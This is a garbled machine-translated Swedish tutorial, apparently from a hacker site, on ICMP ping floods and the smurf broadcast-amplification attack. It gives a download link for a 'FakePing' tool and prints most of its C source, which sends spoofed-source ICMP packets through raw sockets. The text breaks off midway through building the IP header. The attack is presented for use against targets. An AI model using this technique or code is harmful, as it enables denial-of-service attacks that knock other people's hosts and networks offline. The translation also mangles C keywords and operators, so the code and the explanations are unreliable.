Nyligen många människor ringa dig igen för att gå med vad Ping döda vilken webbplats, men tekniskt, oavsett vad överbelastningsattacker, vi måste uppfylla ett villkor: med minst resurser i utbyte mot att vara den största konsumtionen av angriparen. Vi gillar att gå med Ping är inte bara konstigt: med den största resurs för varandra de minst skada, är löjligt: folkkrig 50 år sedan, sannolikt tillhör agera, och i internetåldern, inte hur många som kommer att kunna.
Idag är vi för Ping-talet, Ping är genom att skicka ICMP-meddelande (typ 8 kod 0) att undersöka förekomsten av nätverksvärdars ett verktyg, ett för länge sedan, en del av operativsystem (t.ex. Win95), är inte sköts väl stora Ping-paket , vilket resulterar i en Ping till Death attacker (Ping väska med en stor ruin varandra eller fyllda nätverk), med uppgradering av operativsystemet, nätverksbandbredd uppgraderingar, hårdvara uppgraderingar för närvarande nästan inga stora Ping-paket stora angrepp effekt (utom för distribuerad attack), om vi måste använda Ping-paket för att attackera andra värdar, om inte använder TCP / IP-protokoll eller andra egenskaper hos nätverkstopologin flesta förstärks intensiteten i attackerna (så kallad positiv feedback)
Under normala förhållanden Ping processen så här:
Host A skickar paket till den mottagande ICMP 8,0 B
Host B skickar tillbaka meddelanden till den mottagande ICMP 0,0 A
Eftersom ICMP fanns någon koppling på, så ge oss en möjlighet, förutsatt att den mottagande nu poserar som värd En skickar ICMP 8,0 C-paket, resultaten vad skulle hända? Kommer helt klart att den mottagande B värd C sända denna rapport är bort papperet
Svar på värd C skall följande struktur:
C fel maskerad som värd svar
Host A --------------------- Host B ------------------ Host C
Detta fall, som värd A bara fortsätta att skicka meddelanden utan att behöva ta itu med Ping tillbaka EchoReply, så ökningen attack styrka fördubblats, medan det i själva verket den mottagande B och värd C är att utgöra mål för attack och kommer inte att stanna under eget varumärke, är en dold attack två flugor i en smäll synsätt.
Metoder SOCK_RAW ovan IP lätt kamouflage, men även utvidgat två gånger, för de mer robusta operativsystemet och ju större bandbredd, inte heller har så stor inverkan, det gör vi organiserat igen sport? Inte rätt, låta fienden till oss för att förstora Tja, TCP / IP i ett koncept som kallas broadcast, den så kallade sändningar innebar att det en adress, en värd i LAN kommer att skickas till denna adress att ta emot meddelandet (samma som radiosändningar) om? göra? Ja! Om vi går till en broadcast-adress för att skicka ICMP ECHO paket (det Pinga broadcast adress det), kommer resultatet att bli en hel del svar, Ethernet, så att varje ta emot ett budskap som sprids kommer att stå värd svar en ICMP_ECHOREPLY, om du vill testa maskinen i unix Ping LAN massutskicksadress vad du kommer att se en hel del dup paket svar är att upprepa svaret, fönstren system, inte den typen av resultat, eftersom Microsoft Ping-programmet svarar inte på flera packats upp, det första paketet som mottagits efter det tappade bakom, och även Microsofts system inte svarar på broadcast-adressen till standard-paketet, så du bättre i många Unix-värd LAN test.
Här smart Du vet vad jag vill göra nu? Hey hey, ja, när vi låtsas vara en broadcast-adressen för att attackera den mottagande sänder Ping begäran tiden kommer alla broadcast-adressen i den mottagande svara på Ping begäran Detta motsvarar intensiteten i attackerna är N gånger! (N = broadcast-adressen att svara på Ping-paket i antalet värdar)
Maskerad som värd C har fel alla radiovärd svar
Värd för en --------------------- broadcast-adress ======================= == Host C
Jag skrev en FakePing verktyg kan du Http: / / www.patching.net / hagelgevär / FakePing.exe nedladdning.
Användning är FakePing.exe FakeIP TargetIP [PacketSize], om TargetIP är broadcast adress, då FakeIP riktades.
Källa meddelade enligt följande:
typedef struct _iphdr / / definition av IP-huvudet
(
osignerade röding h_verlen, / / 4 位 första minister grader, IP version 4
osignerade röding tos, / / 8 tjänster kommer typ TOS
osignerade korta total_len, / / 16 median total längd (bytes)
osignerade korta ident, / / 16-bitars identifiering
osignerade korta frag_and_flags, / / 3 flagg bitar
osignerade röding TTL, / / 8 Medianöverlevnaden för TTL
osignerade röding proto, / / 8-bitars (TCP, UDP eller annat)
osignerade kort kontrollsumma, / / 16 位 IP-huvudet kontrollsumma
osignerade int sourceIP, / / 32 digital källa IP-adress
osignerade int destIP, / / 32 位 Syftet med IP-adress
) IP_HEADER;
/ / Definiera ICMP-huvudet
typedef struct _ihdr
(
BYTE i_type, / / 8 bitar typ
BYTE i_code, / / 8 bitars koder
USHORT i_cksum, / / 16 bitars checksumma
USHORT i_id, / / identifieringsnummer (i allmänhet med processen nummer som ID-nummer)
USHORT i_seq, / / Meddelande löpnummer
ULONG tidsstämpel, / / tidsstämpel
) ICMP_HEADER;
/ / Checksumma: beräkna checksumma funktioner
USHORT kontrollsumma (USHORT * buffert, int storlek)
(
osignerade långa cksum = 0;
medan (storlek 1)
(
cksum + =* buffert + +;
storlek -= sizeof (USHORT);
)
if (storlek)
(
cksum + = * (UCHAR *) buffert;
)
cksum = (cksum 16) + (cksum & 0xFFFF);
cksum + = (cksum 16);
avkastning (USHORT) (~ cksum);
)
/ / FakePing huvuduppgift
int main (int argc, char ** argv)
(
int datasize, ErrorCode, räknare, flaggan;
int timeout = 2000, SendSEQ = 0, PacketSize = 32;
röding SendBuf [65.535] = (0);
WSADATA wsaData;
SOCKET SockRaw = (SOCKET) NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
ICMP_HEADER icmp_header;
röding FakeSourceIp [20], DestIp [20];
/ / Acceptera kommandoradsparametrarna
if (argc 3)
(
printf ("FakePing av Shotgun
");
printf ("Detta program kan göra Ping-Översvämningar från en FakeIP
");
printf ("Använda en Broadcast IP som FakeIP kommer att öka effekten
");
printf ("E-post:
");
printf ("Shotgun@Xici.Net
");
printf ("hemsida:
");
printf ("http://It.Xici.Net
");
printf ("http://www.Patching.Net
");
printf ("användning:
FakePing.exe FakeSourceIp DestinationIp [PacketSize]
");
printf ("Exempel:
");
printf ("FakePing.exe 192.168.15.23 192.168.15.255
");
printf ("FakePing.exe 192.168.15.23 192.168.15.200 6400
");
exit (0);
)
strcpy (FakeSourceIp, argv [1]);
strcpy (DestIp, argv [2]);
if (argc 3) PacketSize = atoi (argv [3]);
if (PacketSize 60.000)
(
printf ("Fel! Packet storlek för stor, måste 60K
");
exit (0);
)
printf ("Nu Fake% s Ping% s med Packet size =% d byte
"
FakeSourceIp, DestIp, PacketSize);
printf ("Ctrl + C för att Avsluta
");
/ / Initiera SOCK_RAW
if ((ErrorCode = WSAStartup (MAKEWORD (2,1), & wsaData))! = 0)
(
fprintf (stderr, "WSAStartup misslyckades:% d
"ErrorCode);
ExitProcess (STATUS_FAILED);
)
if ((SockRaw = WSASocket (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
(
fprintf (stderr, "WSASocket () misslyckades:% d
"WSAGetLastError ());
ExitProcess (STATUS_FAILED);
)
flagga = TRUE;
/ / Ställ IP_HDRINCL fylla sin egen IP-header
ErrorCode = setsockopt (SockRaw, IPPROTO_IP, IP_HDRINCL, (char *) & flagg, sizeof (int));
if (ErrorCode == SOCKET_ERROR)
printf ("Ange IP_HDRINCL Fel!
");
__try
(
/ / Ställ skicka timeout
ErrorCode = setsockopt (SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) & TimeOut, sizeof (TimeOut));
if (ErrorCode == SOCKET_ERROR)
(
fprintf (stderr, "Kunde inte ställa skicka TimeOut:% d
"WSAGetLastError ());
__leave;
)
memset (& DestAddr, 0, sizeof (DestAddr));
DestAddr.sin_family = AF_INET;
DestAddr.sin_addr.s_addr = inet_addr (DestIp);
/ / Fyll IP-header
ip_header.h_verlen = (4 4 | sizeof (ip_header) / sizeof (unsigned long)); / / hög 4 IP version antal, den första ministern till den låga graden av fyra
ip_header.total_len = htons (sizeof (IP_HEADER) + sizeof (ICMP_HEADER)); / / 16 median total längd (bytes)
ip_header.ident = 1;
/ / 16 ID
ip_header.frag_and_flags = 0;
/ / 3 flagg
ip_header.ttl = 128;
/ / 8-bitars TTL överlevnadstid
ip_header.proto = IPPROTO_ICMP;